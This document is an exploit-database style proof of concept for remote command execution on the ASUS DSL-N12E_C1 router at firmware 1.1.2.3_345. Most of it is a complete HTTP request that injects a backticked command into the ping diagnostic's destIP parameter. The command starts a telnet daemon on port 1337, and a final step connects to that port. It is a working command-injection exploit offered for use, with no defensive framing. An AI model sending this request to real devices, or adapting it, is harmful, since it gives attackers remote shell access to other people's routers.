ASUS DSL-N12E_C1 1.1.2.3_345 - Remote Command Execution

# Exploit Title: ASUS DSL-N12E_C1 1.1.2.3_345 - Remote Command Execution
# Date: 2018-08-02
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://www.asus.com/
# Software Link: https://www.asus.com/Networking/DSLN12E_C1/HelpDesk_BIOS/
# Version: 1.1.2.3_345
# Tested on: 1.1.2.3_345

GET /Main_Analysis_Content.asp?current_page=Main_Analysis_Content.asp&next_page=Main_Analysis_Content.asp&next_host=www.target.com&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&applyFlag=1&preferred_lang=EN&firmver=1.1.2.3_345-g987b580&cmdMethod=ping&destIP=%60utelnetd+-p+1337%60&pingCNT=5 HTTP/1.1
Host: www.target.com
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://www.target.com/Main_Analysis_Content.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

# To connect
1. telnet www.target.com 1337